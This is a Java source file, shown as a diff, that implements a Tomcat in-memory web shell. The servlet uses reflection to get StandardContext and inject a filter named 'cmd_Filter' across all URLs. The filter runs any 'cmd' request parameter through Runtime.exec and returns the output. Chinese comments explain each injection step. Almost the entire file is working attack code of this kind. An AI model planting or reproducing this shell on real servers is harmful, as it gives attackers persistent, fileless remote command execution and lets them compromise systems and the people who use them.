1+ package memshell .tomcat ;
2+
3+ /**
4+ * @ClassName: demoServlet
5+ * @Description: TODO
6+ * @Author: Summer
7+ * @Date: 2021/7/16 15:41
8+ * @Version: v1.0.0
9+ * @Description:
10+ **/
11+ import org .apache .catalina .Context ;
12+ import org .apache .catalina .core .ApplicationContext ;
13+ import org .apache .catalina .core .ApplicationFilterConfig ;
14+ import org .apache .catalina .core .StandardContext ;
15+ import org .apache .tomcat .util .descriptor .web .FilterDef ;
16+ import org .apache .tomcat .util .descriptor .web .FilterMap ;
17+
18+ import javax .servlet .*;
19+ import javax .servlet .annotation .WebServlet ;
20+ import javax .servlet .http .HttpServlet ;
21+ import javax .servlet .http .HttpServletRequest ;
22+ import javax .servlet .http .HttpServletResponse ;
23+ import java .io .IOException ;
24+ import java .io .InputStream ;
25+ import java .lang .reflect .Constructor ;
26+ import java .lang .reflect .Field ;
27+
28+ import java .util .Map ;
29+ import java .util .Scanner ;
30+
31+ @ WebServlet ("/demoServlet" )
32+ public class demoServlet extends HttpServlet {
33+ @ Override
34+ protected void doPost (HttpServletRequest request , HttpServletResponse response ) throws ServletException , IOException {
35+
36+
37+ // org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
38+ // org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();
39+ // org.apache.catalina.core.StandardContext standardContext = (StandardContext) standardroot.getContext();
40+ // 该获取StandardContext测试报错
41+ Field Configs = null ;
42+ Map filterConfigs ;
43+ try {
44+ //这里是反射获取ApplicationContext的context,也就是standardContext
45+ ServletContext servletContext = request .getSession ().getServletContext ();
46+
47+ Field appctx = servletContext .getClass ().getDeclaredField ("context" );
48+ appctx .setAccessible (true );
49+ ApplicationContext applicationContext = (ApplicationContext ) appctx .get (servletContext );
50+
51+ Field stdctx = applicationContext .getClass ().getDeclaredField ("context" );
52+ stdctx .setAccessible (true );
53+ StandardContext standardContext = (StandardContext ) stdctx .get (applicationContext );
54+
55+
56+
57+ String FilterName = "cmd_Filter" ;
58+ Configs = standardContext .getClass ().getDeclaredField ("filterConfigs" );
59+ Configs .setAccessible (true );
60+ filterConfigs = (Map ) Configs .get (standardContext );
61+
62+ if (filterConfigs .get (FilterName ) == null ){
63+ Filter filter = new Filter () {
64+
65+ @ Override
66+ public void init (FilterConfig filterConfig ) throws ServletException {
67+
68+ }
69+
70+ @ Override
71+ public void doFilter (ServletRequest servletRequest , ServletResponse servletResponse , FilterChain filterChain ) throws IOException , ServletException {
72+ HttpServletRequest req = (HttpServletRequest ) servletRequest ;
73+ if (req .getParameter ("cmd" ) != null ){
74+ String charsetName = System .getProperty ("os.name" ).toLowerCase ().contains ("window" ) ? "GBK" :"UTF-8" ;
75+
76+ InputStream in = Runtime .getRuntime ().exec (req .getParameter ("cmd" )).getInputStream ();
77+ //
78+ Scanner s = new Scanner (in ,charsetName ).useDelimiter ("\\ A" );
79+ String output = s .hasNext () ? s .next () : "" ;
80+ servletResponse .getWriter ().write (output );
81+
82+ return ;
83+ }
84+ filterChain .doFilter (servletRequest ,servletResponse );
85+ }
86+
87+ @ Override
88+ public void destroy () {
89+
90+ }
91+ };
92+ //反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
93+ Class <?> FilterDef = Class .forName ("org.apache.tomcat.util.descriptor.web.FilterDef" );
94+ Constructor declaredConstructors = FilterDef .getDeclaredConstructor ();
95+ FilterDef o = (FilterDef )declaredConstructors .newInstance ();
96+ o .setFilter (filter );
97+ o .setFilterName (FilterName );
98+ o .setFilterClass (filter .getClass ().getName ());
99+ standardContext .addFilterDef (o );
100+ //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
101+ Class <?> FilterMap = Class .forName ("org.apache.tomcat.util.descriptor.web.FilterMap" );
102+ Constructor <?> declaredConstructor = FilterMap .getDeclaredConstructor ();
103+ org .apache .tomcat .util .descriptor .web .FilterMap o1 = (FilterMap )declaredConstructor .newInstance ();
104+
105+ o1 .addURLPattern ("/*" );
106+ o1 .setFilterName (FilterName );
107+ o1 .setDispatcher (DispatcherType .REQUEST .name ());
108+ standardContext .addFilterMapBefore (o1 );
109+
110+ //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
111+ Class <?> ApplicationFilterConfig = Class .forName ("org.apache.catalina.core.ApplicationFilterConfig" );
112+ Constructor <?> declaredConstructor1 = ApplicationFilterConfig .getDeclaredConstructor (Context .class ,FilterDef .class );
113+ declaredConstructor1 .setAccessible (true );
114+ ApplicationFilterConfig filterConfig = (ApplicationFilterConfig ) declaredConstructor1 .newInstance (standardContext ,o );
115+ filterConfigs .put (FilterName ,filterConfig );
116+ response .getWriter ().write ("suc of suc" );
117+
118+
119+ }
120+ } catch (Exception e ) {
121+ e .printStackTrace ();
122+ }
123+
124+
125+ }
126+
127+ @ Override
128+ protected void doGet (HttpServletRequest request , HttpServletResponse response ) throws ServletException , IOException {
129+ this .doPost (request , response );
130+ }
131+ }
0 commit comments